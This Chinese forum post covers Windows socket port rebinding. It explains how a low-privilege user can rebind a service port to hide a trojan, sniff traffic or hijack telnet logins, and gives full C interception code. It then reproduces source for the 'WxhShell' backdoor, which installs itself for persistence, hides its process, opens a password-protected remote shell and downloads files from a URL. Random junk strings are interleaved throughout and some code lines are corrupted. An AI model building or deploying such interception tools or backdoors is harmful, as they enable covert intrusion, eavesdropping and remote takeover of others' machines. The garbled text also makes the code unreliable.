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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ugZ-*e7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {Q&@vbw'  
zjzW;bo( d  
  saddr.sin_family = AF_INET; Y55Yo5<j/+  
X"S-f; b#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cZ!%#A z  
% |6t\[gn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cWd\Ki  
PWwz<AI+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]w3-No  
!zhg3B# p  
  这意味着什么?意味着可以进行如下的攻击: )CYm/dk  
)4[Yplo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U_-9rkUa  
Yt 9{:+[RK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @+gr>a1K#  
RS$!TTeQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9^;)~ G  
\Bg;^6U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ),G?f {`!  
5pOb;ry")`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q,ry3Nr4n  
k63]Qf=5?N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +w(sDH~kd  
]6`]+&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w3,1ImrXp  
lw.4O^  
  #include FD}hw9VyF@  
  #include >O{U4_j@(  
  #include ^!={=No]  
  #include    H%!ED1zpA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Px!M^ T!Pi  
  int main() D!K){ E  
  { ST#OO!  
  WORD wVersionRequested; Fp)+>o T  
  DWORD ret; [hLSK-K 9  
  WSADATA wsaData; BCw5.@HK*  
  BOOL val; x1gfo!BN  
  SOCKADDR_IN saddr; -QUr|:SK:  
  SOCKADDR_IN scaddr; ?r~|B/ ]  
  int err; duCso M/  
  SOCKET s; m+f?+c6  
  SOCKET sc; M![aty@  
  int caddsize; (QO8_  
  HANDLE mt; gUfLw  
  DWORD tid;   7O_@b$Q  
  wVersionRequested = MAKEWORD( 2, 2 ); ` >w4G|{  
  err = WSAStartup( wVersionRequested, &wsaData ); h";0i:  
  if ( err != 0 ) { h  0EpW5  
  printf("error!WSAStartup failed!\n"); n9Mi?#xIp  
  return -1; {,Y?+F  
  } 2:31J4t-<  
  saddr.sin_family = AF_INET; ]kJinXHW  
   sH//*y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &rTOJ 1)V}  
U]Iypl`l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); To x{Sk3L  
  saddr.sin_port = htons(23); SJYy,F],V"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QKj-"y[  
  { `zr%+  
  printf("error!socket failed!\n"); r%M.rYLG{  
  return -1; So ?ScX\lG  
  } FME&v Uh/  
  val = TRUE; . 6wyu7oK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w]4=uL6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g]'RwI  
  { oKl^Ttr  
  printf("error!setsockopt failed!\n"); e<Hbm  
  return -1; ;.=ZwM]C  
  } (+@ Lnz\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r<Il;?S6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 we6kV-L.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E%R^ kqqr  
>~;MQDU5*Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <<43 'N+  
  { nqG9$!k^t  
  ret=GetLastError(); C'HW`rh.^  
  printf("error!bind failed!\n"); #=tWjInm  
  return -1; qIbp0`m  
  } QJBzv|  
  listen(s,2); F9hh- "(Z  
  while(1) *O>OHX  
  { n:hHm,  
  caddsize = sizeof(scaddr); a ?LrSk`  
  //接受连接请求 byj}36LN62  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K`=O!;  
  if(sc!=INVALID_SOCKET) VDCG 5QP6(  
  { * u_ nu>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f0uzoeL<%  
  if(mt==NULL) 0]x gE  
  { o80"ZU|=  
  printf("Thread Creat Failed!\n"); M YQZqlV  
  break; #Y*?k TF  
  }  8>Y  
  } -ZTe#@J  
  CloseHandle(mt); 8.-0_C*U;  
  } w\ hl2JTy  
  closesocket(s); OYw~I.Rq  
  WSACleanup(); 4!'1o`8vs  
  return 0; c7$L:  
  }   $T\W'W R>  
  DWORD WINAPI ClientThread(LPVOID lpParam) [@!.(Hp  
  { 8 |>$M  
  SOCKET ss = (SOCKET)lpParam; :r?gD2q  
  SOCKET sc; &RRHmJI:  
  unsigned char buf[4096]; g7($lt>  
  SOCKADDR_IN saddr; sV8}Gv a  
  long num; XcOfQ s  
  DWORD val; =0te.io)3O  
  DWORD ret; K[tQ>C@s2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gWt}q-@nRR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hdL/zW7]  
  saddr.sin_family = AF_INET; {K\l3_=5qb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); & PHejG_#  
  saddr.sin_port = htons(23); 3F5Y#[L`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RlRkw+%m  
  { _[zZm*  
  printf("error!socket failed!\n"); I{8fTod  
  return -1; 3 ;M7^DM  
  }  U 6((  
  val = 100; .\r=1HZ3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9FB[`}  
  { gB4&pPN  
  ret = GetLastError(); iV h^;  
  return -1; "m*.kB)e7  
  } ?hpT"N,hF9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \#LkzN8  
  { yc4?'k!  
  ret = GetLastError(); -__RFxG  
  return -1;  %+\ PN  
  } ==zt)s.G(+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y ^s_v_s  
  { ~vqVASUc,  
  printf("error!socket connect failed!\n"); 5a$Q}!6E.Y  
  closesocket(sc); X9W'.s.[Q  
  closesocket(ss); gZa/?[+  
  return -1; ]Gk;n/! B  
  } NSQ}:m  
  while(1) \Wdl1 =`  
  { iD*%' #u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7Hghn"ol  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "gm[q."n<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~0}gRpMW  
  num = recv(ss,buf,4096,0); i!H)@4jX  
  if(num>0) &|/@;EA$8  
  send(sc,buf,num,0); 4o+SSS  
  else if(num==0) RJpH1XQ j  
  break; O$Wi=5  
  num = recv(sc,buf,4096,0); 1u?h4w C  
  if(num>0) #w%d  
  send(ss,buf,num,0); )7$1Da|.  
  else if(num==0) @DiXe[kI  
  break; J1i{n7f=@  
  } t)#8r,9c  
  closesocket(ss); Gv ';  
  closesocket(sc); xC3h m  
  return 0 ; {1 VHz])I  
  } T1$fu(f  
BZS%p  
?q^o|Y/  
========================================================== K|i:tHF]@  
V=$ pXpro%  
下边附上一个代码,,WXhSHELL 9CBKU4JQ  
r7Vt,{4/  
========================================================== t>hoXn^-  
5yOIwzr&Uu  
#include "stdafx.h" eAU0 8gM.  
fQW1&lFT  
#include <stdio.h> se|>P=/  
#include <string.h> 1M1|Wp  
#include <windows.h> `IP?w&k)  
#include <winsock2.h> iA~LH6  
#include <winsvc.h> D4@).%  
#include <urlmon.h> :;Lt~:0b~  
CbvP1*1  
#pragma comment (lib, "Ws2_32.lib") [Lck55V+Q  
#pragma comment (lib, "urlmon.lib") xq6 eu 9   
d#-scv}s5  
#define MAX_USER   100 // 最大客户端连接数 :n#8/'%1  
#define BUF_SOCK   200 // sock buffer uDtml$9rN  
#define KEY_BUFF   255 // 输入 buffer Vd+qi~kA  
l*r8.qp  
#define REBOOT     0   // 重启 /KU9sIE;  
#define SHUTDOWN   1   // 关机 *~h@KQm7  
_f5>r(1Q  
#define DEF_PORT   5000 // 监听端口 7aF'E1e'3  
U yb-feG  
#define REG_LEN     16   // 注册表键长度 ,/fB~On-  
#define SVC_LEN     80   // NT服务名长度 FUt{-H!<  
\d'>Ky;GD  
// 从dll定义API x;^DlyyYU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GHs,,J;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {yo{@pdX>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HbOLf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m|') A  
O/XG}G.x|  
// wxhshell配置信息 CF,-l B  
struct WSCFG { #mIgk'kW<  
  int ws_port;         // 监听端口 #EG W76 f  
  char ws_passstr[REG_LEN]; // 口令 dd+hX$,  
  int ws_autoins;       // 安装标记, 1=yes 0=no H{)DI(,Y^P  
  char ws_regname[REG_LEN]; // 注册表键名 l|kGp~  
  char ws_svcname[REG_LEN]; // 服务名 ^Z |WD!>`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &i(\g7%U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8"'Z0 Ey  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >(?}'pS8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J-UqH3({Z,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D`Cy]j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GhJ<L3  
Y>J$OA:  
}; q1a*6*YB  
T`zUgZ]  
// default Wxhshell configuration QZh#&Qf;  
struct WSCFG wscfg={DEF_PORT, e2"<3  
    "xuhuanlingzhe", z|M+ FHl$  
    1, vVbBg; {  
    "Wxhshell", .](~dVp%~  
    "Wxhshell", @u>:(9bp  
            "WxhShell Service", gzMp&J  
    "Wrsky Windows CmdShell Service", |e QwI&  
    "Please Input Your Password: ", wsKOafrV  
  1, 7Dt* ++:  
  "http://www.wrsky.com/wxhshell.exe", o8 B$6w:_  
  "Wxhshell.exe" *'-[J2  
    }; We`6# \Z X  
kC_Kb&Q0  
// 消息定义模块 E%b*MU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kEYkd@ {  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n8+_Uww  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v:IpZ;^  
char *msg_ws_ext="\n\rExit."; iW?z2%#  
char *msg_ws_end="\n\rQuit."; A{ a4;`}5  
char *msg_ws_boot="\n\rReboot..."; .)g7s? K  
char *msg_ws_poff="\n\rShutdown..."; @oNYMQ@)d  
char *msg_ws_down="\n\rSave to "; T5_/*`F  
17E,Qnf  
char *msg_ws_err="\n\rErr!"; Z1~`S!(}  
char *msg_ws_ok="\n\rOK!"; _'mK=`>u  
WvoJ^{\4N*  
char ExeFile[MAX_PATH]; R:5uZAx  
int nUser = 0; 6/dP)"a('  
HANDLE handles[MAX_USER]; q/h , jM  
int OsIsNt; s~NJy'Y  
HhZ>/5'(  
SERVICE_STATUS       serviceStatus; :|HCUZ*H(T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ==Ah& ){4^  
<~bvf A=  
// 函数声明 ;%Zu[G`C  
int Install(void); Z#t}yC%^d  
int Uninstall(void); ,$+ P  
int DownloadFile(char *sURL, SOCKET wsh); @hF$qevX  
int Boot(int flag); pwg\b  
void HideProc(void); ]<BT+6L  
int GetOsVer(void); 8x`E UJ  
int Wxhshell(SOCKET wsl); $xqX[ocor  
void TalkWithClient(void *cs); Aa`R40yl  
int CmdShell(SOCKET sock); g QYs,  
int StartFromService(void); / tG[pg{[  
int StartWxhshell(LPSTR lpCmdLine); +C36OcmT~  
ROr|n]aJj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nIqNhJ+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ts/Ha*h  
[gIvB<Uv  
// 数据结构和表定义 <{cf'"O7)  
SERVICE_TABLE_ENTRY DispatchTable[] = c6Z"6-}$  
{ xUF5  
{wscfg.ws_svcname, NTServiceMain}, ZA7b;{o [  
{NULL, NULL} W_L;^5Y;m  
}; Y`*h#{|  
W|L#Q/ RX  
// 自我安装 !!<H*9]+W;  
int Install(void) 3kavzB[  
{ !y&<IT(\4  
  char svExeFile[MAX_PATH]; ++!'6! l  
  HKEY key; q\G7T{t$.  
  strcpy(svExeFile,ExeFile); V4ybrUWK  
or`D-x)+@  
// 如果是win9x系统,修改注册表设为自启动 V` 4/oM`  
if(!OsIsNt) { Gm[XnUR7V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nC}Y+_wo0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); blKF78  
  RegCloseKey(key); +F92_a4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =eQ'^3a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ROJ=ZYof  
  RegCloseKey(key); cKB1o0JsYJ  
  return 0; ckkm}|&m  
    } ID~}pEQ  
  } fD*jzj7o ,  
} 4C }#lW9  
else { gn:&akg  
P>hR${KE  
// 如果是NT以上系统,安装为系统服务 Hy b_> n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fp?/Dg"49.  
if (schSCManager!=0) C.RXQ`-P}  
{ Z_4|L+i<{  
  SC_HANDLE schService = CreateService b"y4-KV  
  ( .wPI%5D  
  schSCManager, J|u_45<  
  wscfg.ws_svcname, 1oI2  
  wscfg.ws_svcdisp, Z4dl'v)9  
  SERVICE_ALL_ACCESS, +W"DN5UV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BUUc9&f3o  
  SERVICE_AUTO_START, =@P]eK/  
  SERVICE_ERROR_NORMAL, I&f!>y?,Z  
  svExeFile, G4^6o[x  
  NULL, i|xC#hV  
  NULL, 0D/7X9xg9+  
  NULL, g~XR#vl$  
  NULL, y=2nV  
  NULL bh+m_$X~  
  ); 9z+ZFIf7d  
  if (schService!=0) :pLaxWus!  
  { +t8#rT ^B  
  CloseServiceHandle(schService); A3.*d:A  
  CloseServiceHandle(schSCManager); |`pDOd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O jH"qi  
  strcat(svExeFile,wscfg.ws_svcname); s;#,c(   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UHS "{%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K$wxiGg8P  
  RegCloseKey(key); L=gG23U&  
  return 0; @CS%=tE}U  
    } #kgLdd"  
  } ;( (|0Xa  
  CloseServiceHandle(schSCManager); \s6 VOR/  
} J; N\q  
} ~!P&LZ  
F{E`MK~f_  
return 1; JvF0s}#4  
}  = Atyy  
deOk>v&U  
// 自我卸载 IM_SZs  
int Uninstall(void) M%OUkcWCk  
{ _adW>-wQ!d  
  HKEY key; Y/f8rN  
$ncP#6  
if(!OsIsNt) { XrJLlH>R4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~En]sj  
  RegDeleteValue(key,wscfg.ws_regname); ~ E n'X4  
  RegCloseKey(key); U2 Cmf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,MUgww!.  
  RegDeleteValue(key,wscfg.ws_regname); !`dMTW  
  RegCloseKey(key); 4'y@ne}g!  
  return 0; |?v+8QL,;t  
  } #&Rx?V  
} Y+gNi_dE  
} "(iQ-g Mm  
else { "}b/[U@>  
AG|:mQO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !O4)Y M  
if (schSCManager!=0) TiKfIv  
{ h#Z~x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cvC 7#i[G  
  if (schService!=0) @[#)zO  
  { esd9N'.Q*  
  if(DeleteService(schService)!=0) { e 3TKg  
  CloseServiceHandle(schService); $49;\pBZl  
  CloseServiceHandle(schSCManager); #Eqx E o;  
  return 0; XdE|7=+s  
  } s0'6r$xj  
  CloseServiceHandle(schService); %>1C ($^  
  } @v/ 8}n  
  CloseServiceHandle(schSCManager); |$[.X3i  
} e\ }'i-  
} 8peK[sz  
9O\yIL  
return 1; /d> Jkv  
} dB8 e  
@&GY5<&b  
// 从指定url下载文件 G@U}4' V9  
int DownloadFile(char *sURL, SOCKET wsh) 91UC>]}H  
{ e"ClG/M_XS  
  HRESULT hr; gR wRhA/  
char seps[]= "/"; } a!HbH  
char *token; cHJ4[x=  
char *file; Y8/&1s_  
char myURL[MAX_PATH]; u6 4{w,  
char myFILE[MAX_PATH]; 2>)::9e4  
P}vk5o'  
strcpy(myURL,sURL); Ki(0s  
  token=strtok(myURL,seps); IO"q4(&;P4  
  while(token!=NULL) yY!@FGsA  
  { o4,9jk$  
    file=token; &(NW_ <(  
  token=strtok(NULL,seps); 'JJ :  
  } awSi0*d~  
_xM3c&VeG  
GetCurrentDirectory(MAX_PATH,myFILE); $ Zj3#l:rK  
strcat(myFILE, "\\"); @eP(j@(^  
strcat(myFILE, file); {*X|)nr  
  send(wsh,myFILE,strlen(myFILE),0); 1~S'' [  
send(wsh,"...",3,0); 0NXaAf:2Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :MGIp%3  
  if(hr==S_OK) =/ 19 -Y:  
return 0; }ok'd=M  
else [jTZxH<  
return 1; )Mh5q&ow  
{"_V,HmEF+  
} Is!+ `[ma  
7TA&u'  
// 系统电源模块 [pSQ8zdF"  
int Boot(int flag) ,S1'SCwVdJ  
{ 7e Hj"_;  
  HANDLE hToken; Fu65VLKh  
  TOKEN_PRIVILEGES tkp; hmI> 7@&  
%V92q0XW  
  if(OsIsNt) { x) R4_ 3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )jMk ~;'r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IeB^BD+j  
    tkp.PrivilegeCount = 1; V5+|H1=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9L>ep&u)^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uExYgI`<%&  
if(flag==REBOOT) { [pz1f!Wn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v"dl6%D"  
  return 0; B \.0 5<  
} lN7YU-ygz  
else { B~%SB/eu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >~uKkQ_p  
  return 0; ! ~+mf^D  
} O>IG7Ujl  
  } "Jg* /F  
  else { d V3R)  
if(flag==REBOOT) { _ !k\~4U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )_K:A(V>  
  return 0; X`7O%HiX/`  
} Hm_&``='  
else { =j8g6#'u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [k=LX+w@  
  return 0; ,9W!cD+0  
} 7 ;x to =  
} D;Y2yc[v  
hmv*IF.  
return 1; 4qyPjAG  
} L]=LY  
Z )X(  
// win9x进程隐藏模块 >n5Kz]]%  
void HideProc(void) 6}:(m#+  
{ q ;e/gP2  
@Dd3mWKq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1+Bj` ACP  
  if ( hKernel != NULL ) WISeP\:^  
  { *-s':('R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +`TwBN,kp-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p9eTrFDy?  
    FreeLibrary(hKernel); nu6v@<<F>  
  } [-1Yyy1}  
]F4|@+\9  
return; Y~U WUF%aK  
} ORt)sn&~d  
U-#vssJhk  
// 获取操作系统版本 4iJ4g%]  
int GetOsVer(void) ^Fwdi#g  
{ 8%;]]{(B  
  OSVERSIONINFO winfo; h[gKyxZ/t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &usum~@  
  GetVersionEx(&winfo); 9iGp0_J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )>!y7/3  
  return 1; B &)wJG  
  else ;z9U_  
  return 0; hD7Lgi-N)W  
} f1I/aRV:+  
da$ErN '{  
// 客户端句柄模块 _x<7^^VT  
int Wxhshell(SOCKET wsl) 0fx.n  
{ kQ.3J.Q5  
  SOCKET wsh; !D 9V9p  
  struct sockaddr_in client; =]-D_$S~  
  DWORD myID; uD:tT ~  
nk+9 J#Gs  
  while(nUser<MAX_USER) .7n`]S/  
{ P,7beHjf  
  int nSize=sizeof(client); }1YQ?:@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'l._00yu  
  if(wsh==INVALID_SOCKET) return 1; _@sSVh$+  
27UnH: =  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %kiPE<<x  
if(handles[nUser]==0) zC!Pb{IaH  
  closesocket(wsh); 8o,"G}Hjk  
else CPu~^ik  
  nUser++; `YK#m4gc  
  } 0|~3\e/QV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Oyy E0  
?I 7hbqQd  
  return 0; C oO0~q  
} Ml+O - 3T  
't3nh  
// 关闭 socket <s5s<q2  
void CloseIt(SOCKET wsh) h\*I*I8C  
{ }z_7?dn/  
closesocket(wsh); qa5 T(:8  
nUser--; |$c~Jq  
ExitThread(0); #mc6;TRZO  
} 4z,n:>oH  
+qmV|$rmM  
// 客户端请求句柄 j.UO>1{7  
void TalkWithClient(void *cs) mA6Nmq%{ F  
{ incUa;  
ASaNac-3  
  SOCKET wsh=(SOCKET)cs; tN&X1  
  char pwd[SVC_LEN]; ;h7O_|<%  
  char cmd[KEY_BUFF]; E^t}p[s  
char chr[1]; 2$?j'i!  
int i,j; V e4@^Jy;  
+<n8O~h  
  while (nUser < MAX_USER) { pv,I_"  
8[H)t Kf8  
if(wscfg.ws_passstr) { =%9j8wHX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0/zgjT|fe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m"mU:-jk`  
  //ZeroMemory(pwd,KEY_BUFF); O-]^_LV`  
      i=0; .$"69[1H  
  while(i<SVC_LEN) { \rmge4`4  
2-gI@8NPI  
  // 设置超时 TRQH{O\O  
  fd_set FdRead; &y.6Hiy&  
  struct timeval TimeOut; Ml9  
  FD_ZERO(&FdRead); J.n-4J#@  
  FD_SET(wsh,&FdRead); i UW.$1l  
  TimeOut.tv_sec=8; G0v<`/|>}  
  TimeOut.tv_usec=0; go5l<:9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w&LL-~KI+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HH'5kE0;d  
|1Pi`^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s F3M= uz  
  pwd=chr[0]; w-?Cg8bq<  
  if(chr[0]==0xd || chr[0]==0xa) { x-@6U  
  pwd=0; aKC3v R0  
  break; +zSdP2s  
  }  ~b LhI  
  i++; `r.  
    } `rI[   
XnV$}T:?X  
  // 如果是非法用户,关闭 socket 3ypf_]<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); firiYL"=44  
} VseeU;q  
s@5r}6?M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IP l]$j>N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VHTr;(]hk  
[7gwJiK  
while(1) { + xRSd *  
gqan]b_  
  ZeroMemory(cmd,KEY_BUFF); v6+<F;G3y>  
3dC ;B@  
      // 自动支持客户端 telnet标准   KVCj06}j  
  j=0; gD/% l[  
  while(j<KEY_BUFF) { pN7 v7rs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1U~yu&  
  cmd[j]=chr[0]; ~QE-$;  
  if(chr[0]==0xa || chr[0]==0xd) { :*s+X$x,<  
  cmd[j]=0; kK$*,]iCp  
  break; y,=TB#  
  } *p7_rY  
  j++; \x+"1  
    } ?FwjbG<  
Af7&;8pM  
  // 下载文件 HU+zzTgI  
  if(strstr(cmd,"http://")) { =CjN=FM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nwPU{4#l<  
  if(DownloadFile(cmd,wsh)) UvM_~qo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z^yhSbE{5  
  else .?p\=C@C+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rty&\u@}  
  } $|r p5D6  
  else { !x1ivP  
s+XDtO  
    switch(cmd[0]) { hZNA I  
  UqZ#mKi  
  // 帮助 MuQ'L=iJ  
  case '?': { Yq0=4#_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K44j-Ypb  
    break; 9!|+GIjn  
  } \h 1T/_4  
  // 安装 lT~A~O  
  case 'i': { ;OfZEy>7  
    if(Install()) wQ/Z:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 088"7 s  
    else u3@v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e&J_uG  
    break; YUsMq3^&  
    } m kHcGB!~  
  // 卸载 3Mt Alc0xp  
  case 'r': { x$Tf IFy  
    if(Uninstall())  = ~^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MJ0UZxnl  
    else (YH/#n1"{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (GI]Uyn  
    break; Y+'522er  
    } a #4 'X*  
  // 显示 wxhshell 所在路径 Seb J}P1x  
  case 'p': { N_),'2  
    char svExeFile[MAX_PATH]; Ig M_l=  
    strcpy(svExeFile,"\n\r"); Y]>Qu f.!  
      strcat(svExeFile,ExeFile); O)Mf/P'  
        send(wsh,svExeFile,strlen(svExeFile),0); "/}cV5=Z  
    break; J{bNx8.&  
    } ;IYH5sG{  
  // 重启 KK4"H]!.  
  case 'b': { .WT^L2l%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f:|O);nM  
    if(Boot(REBOOT)) hXx.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?\$\YX%/p  
    else { [.`%]Z(  
    closesocket(wsh); a#G]5T Z  
    ExitThread(0); Ps_q\R  
    } Z-B b,8  
    break; K{x FhdW  
    } ~^R?HS  
  // 关机 C ^hCT  
